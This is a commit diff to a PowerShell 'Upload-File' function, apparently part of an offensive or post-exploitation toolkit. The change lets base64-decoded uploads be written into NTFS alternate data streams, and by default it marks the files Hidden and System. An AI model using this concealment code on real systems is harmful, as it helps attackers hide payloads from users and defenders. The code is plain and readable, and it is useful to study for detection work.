Add ability to upload file to ADS
parent
5a6afd605a
commit
707dc93fa2
|
@ -500,24 +500,39 @@ function Upload-File
|
|||
[bool] $NotHidden = $false
|
||||
)
|
||||
try {
|
||||
$Stream = ""
|
||||
|
||||
if ($NotHidden -eq $true) {
|
||||
|
||||
write-output "Uploaded file to: $Destination"
|
||||
$FullPath = $Destination
|
||||
if ($Destination -Match ':[^\\]'){
|
||||
$Destination = $FullPath.Substring(0, $FullPath.LastIndexOf(":"))
|
||||
$Stream = $FullPath.Substring($FullPath.LastIndexOf(":") + 1)
|
||||
}
|
||||
$fileBytes = [Convert]::FromBase64String($Base64)
|
||||
[io.file]::WriteAllBytes($Destination, $fileBytes)
|
||||
|
||||
if ($Stream){
|
||||
add-content -path $Destination -value $fileBytes -stream $Stream -encoding byte
|
||||
} else {
|
||||
[io.file]::WriteAllBytes($Destination, $fileBytes)
|
||||
}
|
||||
} else {
|
||||
|
||||
write-output "Uploaded file as HIDDEN & SYSTEM to: $Destination"
|
||||
write-output "Run Get-ChildItem -Force to view the uploaded files"
|
||||
$FullPath = $Destination
|
||||
if ($Destination -Match ':[^\\]'){
|
||||
$Destination = $FullPath.Substring(0, $FullPath.LastIndexOf(":"))
|
||||
$Stream = $FullPath.Substring($FullPath.LastIndexOf(":") + 1)
|
||||
}
|
||||
$fileBytes = [Convert]::FromBase64String($Base64)
|
||||
[io.file]::WriteAllBytes($Destination, $fileBytes)
|
||||
if ($Stream){
|
||||
add-content -path $Destination -value $fileBytes -stream $Stream -encoding byte
|
||||
} else {
|
||||
[io.file]::WriteAllBytes($Destination, $fileBytes)
|
||||
}
|
||||
$file = Get-Item $Destination -Force
|
||||
$attrib = $file.Attributes
|
||||
$attrib = "Hidden,System"
|
||||
$file.Attributes = $attrib
|
||||
|
||||
}
|
||||
|
||||
} catch {
|
||||
|
|
Loading…
Reference in New Issue